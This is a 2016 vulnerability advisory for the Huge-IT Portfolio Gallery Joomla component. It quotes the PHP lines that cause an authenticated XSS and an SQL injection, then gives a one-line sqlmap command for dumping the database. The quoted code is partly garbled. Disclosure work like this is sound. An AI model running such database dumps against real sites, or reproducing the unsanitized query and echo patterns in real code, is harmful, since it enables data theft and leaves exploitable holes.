Advisory #: 165
Title: Huge-IT Portfolio Gallery manager v1.1.0 SQL Injection and XSS
Author: Larry W. Cashdollar, @_larry0 Elitza Neytcheva, @E1337za
Date: 2016-07-15
Download Site:
Vendor: Huge IT
Vendor Notified: 2016-07-16
Vendor Contact:
Description: Huge-IT Portfolio Gallery extension can do wonders with your website. If you wish to show your photos, videos, enclosing the additional images and videos, then this Portfolio Gallery extension is what you need.
The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability: XSS line 156 in : ./administrator/components/com_portfoliogallery/views/video/tmpl/default.php 155 <textarea rows="3" cols="50" class="text-area" disab led > 156 <?php echo $_GET['edit'];?> 157 </textarea> In file administrator/components/com_portfoliogallery/models/portfoliogallery.php: variable id is passed without any sanitization to the SQL query being built starting at line 53: 50 public function getPropertie() { 51 $db = JFactory::getDBO(); 52 $id_cat = JRequest::getVar('id'); 53 $query = $db->getQuery(true); 54 $query->select(' as name,' 55 . ' ,' 56 . ' as portName,' 57 . 'portfolio_id,#__huge_itportfolio_images.category as categ ory, #__huge_itportfolio_images.description as description,image_url,sl_url, sl_type,link_target,#__huge_itportfolio_images.ordering,#__huge_itportfolio_ images.published,published_in_sl_width'); 58 $query->from(array('#__huge_itportfolio_portfolios' => '#__huge_itpo rtfolio_portfolios', '#__huge_itportfolio_images' => '#__huge_itportfolio_im ages')); 59 $query->where(' = portfolio_id')->w here('portfolio_id=' . $id_cat); 60 $query->order('ordering asc'); 61 $db->setQuery($query); 62 $results = $db->loadObjectList(); 63 return $results;
Exploit Code:
  1. sqlmap --load-cookies=cookies.txt -u "*" --dbms mysql --dump
Screen Shots: